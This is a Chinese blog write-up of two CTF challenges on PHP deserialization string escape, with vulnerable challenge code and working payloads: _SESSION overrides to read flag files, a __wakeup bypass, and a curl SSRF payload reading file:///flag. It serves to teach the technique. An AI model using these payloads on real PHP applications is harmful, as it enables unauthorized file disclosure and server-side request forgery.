兩道題淺析PHP反序列化逃逸

CAP_T發表於2023-12-04

PHP

兩道題淺析PHP反序列化逃逸

一、介紹

反序列化逃逸的出現是因為php反序列化函式在進行反序列化操作時，並不會稽核字串中的內容，所以我們可以操縱屬性值，使得反序列化提前結束。
反序列化逃逸題一般都是存在一個filter函式，這個函式看似過濾了敏感字串，其實使得程式碼的安全性有所降低；並且分為filter後字串加長以及字串變短兩種情況，這兩種情況有著不同的處理方式。
- 例如這段程式碼：
```
<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$ab=array('user'=>'flagflagflag','1'=>'1');
echo filter(serialize($ab));

?>
```
  本來反序列化的結果為：a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}
  
  但是因為敏感字串替換變成了：a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}
  
  這樣在反序列化時，就導致了原先的鍵值flagflagflag被現在的12個字元";i:1;s:1:"1替換了。導致函式誤以為鍵user的值為";i:1;s:1:"1。
  
  但是同時這裡確定了有兩個類，所以要想反序列化成功，則需要讓原來鍵1對應值再包含一個類，這樣就能夠填補前面被覆蓋的1鍵值的空缺；i:1;s:1:"1"應該是i:1;s:13:"1";i:2;s:1:"2"，即過濾後字串為：a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}
- 下面透過兩道題實際應用一下該漏洞。

二、【安洵杯 2019】easy_serialize_php

2.1 收穫

php反序列化逃逸
陣列變數覆蓋
POST請求體傳遞陣列

2.2 分析

程式碼：

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

分析程式碼，首先filter函式實現了一個替換字串中敏感字元為空的操作。

然後對$__SESSION進行了設定，但是下面出現了一個extract($_POST);。在Php中extract函式實現一個提取陣列中鍵值並覆蓋原陣列的功能。也就是說，雖然上面設定了user鍵的內容，但是如果POST變數中不存在user鍵，那麼更新後的$__SESSION中則不包含user鍵。

下面又進行了img鍵值的設定，並將序列化後的字串傳入filter中進行過濾。

思路

首先肯定是需要檢視phpinfo()中的檔案；然後應該是透過更改$__SESSION陣列實現反序列化讀檔案。

3.3 利用

訪問Phpinfo：

得到了一個提示，包含了d0g3_f1ag.php檔案。說明我們需要訪問這個php檔案。
讀檔案：

當我們GET請求中設定img_path變數時，勢必會觸發sha1函式，這樣我們無法讀取正常的路徑；但是不設定img_path更無法得到檔案內容。於是思考這個反序列化。因為反序列化後的字串會經過filter函式處理，那能不能透過故意引入敏感字串，使得序列化後的字串改變，從而在反序列時得到我們想要的輸出呢？
payload

在本題中因為將敏感字串替換為空，所以是字串變短的情況。

首先f的值需要為show_image；其次我們需要覆蓋img鍵對應的值為d0g3_f1ag.php的編碼值：ZDBnM19mMWFnLnBocA==。也就是說我們構造的字串中要包括：s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="，並且讓該字串前面的序列化內容正好被敏感字元過濾的坑位吃掉。同時，為了覆蓋最後系統賦值的img，我們在字串後面還要加一個類。
```
_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
```
其過濾後的序列化結果為：

原本的紅線部分作為了現在func鍵的值。
抓包：

注意_SESSION陣列修改方式不包含$符號與引號（不要按照Php格式寫就行，這裡笨了）。

繼續：

說明要繼續讀取：/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFn

payload：

_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}

三、Bugku newphp

3.1 收穫

php反序列化逃逸
__wakeup函式繞過

3.2 分析

題目程式碼：

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
    public $hint;

    public function __construct($hint){
        $this->hint = $hint;
    }

    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●｀∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

首先為了能夠訪問hint.php，我們需要繞過__wakeup()函式，不然hint變數會被賦值為表情符號。
- 這裡的繞過其實簡單，因為如果序列化字串中宣告的變數數量大於實際的變數數量就可以實現不執行__wakeup()。
- 正常的evil類序列化後為：O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}，這裡只有一個屬性。我們將其改為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
其次，為了反序列化後的結果為evil類，需要進行反序列化逃逸，因為無法使用username=new evil()然後在User類的__construct()函式建立evil類的辦法。
- 我們需要使得User中的username或者password屬性為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
- 分析write()和read()函式可以發現，chr(0)對應的是空字元，一般我們提供的字串中不會包含空字元；但是我們可以讓字串中包含\0\0\0從而在read()函式中實現替換，使得字串變短一半。這裡需要注意chr(0)雖然是空字串，但是其也佔了一個長度，所以從'\0\0\0'到chr(0).*.chr(0)其實是字串縮短了一半。
- 正常的User類序列化之後為O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我們讓username中包含許多\0，從而字串變短後吞掉後面的"s:8:"password";s:4:"共21個字串，但是同時因為我們的payload最後肯定是大於10的，所以password後面的s:4應該是兩位數而不是4，所以總共需要吞掉22個字元。
- 量子力學計算一下，我們需要24個\0，並且password中增加一寫字串，才能實現覆蓋22個字串。
- 測試：
```
<?php
class evil{
    public $hint;

    function __wakeup() { 
		echo $this->hint;
    }
}
class User
{
    public $username;
    public $password;

    public function __construct(){
        $this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
        $this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
    }

}
$a=new User();
echo serialize($a);
echo '                               ';
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
echo read(write(serialize($a)));
unserialize(read(write(serialize($a))))
?>
```
  這樣會直接輸出字串hint.php。實際為了躲避__wakeup函式，evil的類變數需要設定為2。

3.3 反序列化逃逸

payload:

username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}

3.4 SSRF

得到base64字串解碼：

<?php
 $hint = "index.cgi";
 // You can't see me~

直接訪問後得到：

{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }

說明網站是向http://httpbin.org傳送了一個請求，那這裡就需要SSRF。

這裡我們可以向其傳參name引數，並且Agent裡面提示了，其使用的是curl進行傳送請求。

所以為了讀取flag，我們要使用file協議，但是這裡是向http://httpbin.org傳送請求。這裡使用空格截斷，這樣在curl同時可以實現向兩個url傳送請求（可以在本地命令列測試curl的用法）

payload:

?name= file:///flag

注意name後的空格。

總結

對於反序列化逃逸題目首先要看有沒有序列化後的字串替換，如果存在，可以說題目基本上是在考察該知識點。
分析替換方式。
- 縮短型別：基本上是靠前一個屬性包含的字串被縮短後，吞吃後一個屬性；同時在後一個屬性中存放需要利用的屬性即可。
- 變長型別：這個後續如果遇到相關題目會進行補充。

參考連結

PHP反序列化字元逃逸詳解

如有錯誤敬請指正！

PHP反序列化字串逃逸
2021-02-19
PHP字串
淺析 DjangoModel 設計禪道
2019-08-16
Django
Android反編譯工具Apktool淺析
2018-12-25
Android編譯APK
PHP Clourse(閉包類) 淺析
2019-03-02
PHP
MapReduce資料序列化讀寫概念淺析！
2018-09-13
PHP 與 Swoole 淺析與學習
2019-05-16
PHP
潛藏在PHP安全的邊緣——淺談PHP反序列化漏洞
2020-07-30
PHP
淺析php中的異常與錯誤
2019-02-16
PHP
淺析 PHP7 的垃圾回收機制
2019-09-02
PHP
RunC TOCTOU逃逸CVE-2021-30465分析
2021-08-18
C# Task若干問題淺析
2024-09-29
C#
使用CoordinatorLayout過程中遇到的兩個問題以及淺析CoordinatorLayout工作機制
2019-07-08
淺析依賴倒轉、控制反轉、IoC 容器、依賴注入。
2018-07-08
依賴注入
Android應用方法隱藏及反除錯技術淺析
2020-08-19
Android除錯
iOS Block淺淺析
2019-03-10
iOSBloC
AutoMySQLBackup加密備份解密問題淺析
2024-05-14
MySql加密解密
從兩道面試題說起
2019-03-03
面試題
RunLoop 淺析
2019-01-17
OOP
淺析 ReentrantLock
2019-04-01
ReentrantLock
Unstated淺析
2019-01-23
淺析SharedPreferences
2018-12-02
Nginx淺析
2018-05-23
Nginx
淺析Promise
2018-06-28
Promise
ejs 淺析
2018-06-23
JS
淺析KubernetesStatefulSet
2018-06-26
AIDL淺析
2018-05-27
AI
MongoDB淺析
2019-06-28
MongoDB
淺析 JWT
2019-05-25
JWT
淺析Redis
2024-10-22
Redis
Jvm 淺析
2024-09-08
JVM
ArrayList淺析
2018-04-12
CGLib淺析
2021-09-11
CGLib
淺析XML
2022-03-15
XML
淺析 DDD
2021-09-07
2024/9/10+11 分塊雜題三道 + 縫合題兩道
2024-09-11
淺析雲端儲存的TCS和LCA兩大架構
2019-09-17
架構
php反序列化
2021-11-10
PHP
koa原理淺析
2019-02-16

兩道題淺析PHP反序列化逃逸

兩道題淺析PHP反序列化逃逸

一、介紹

二、【安洵杯 2019】easy_serialize_php

2.1 收穫

2.2 分析

3.3 利用

三、Bugku newphp

3.1 收穫

3.2 分析

3.3 反序列化逃逸

3.4 SSRF

總結

參考連結

相關文章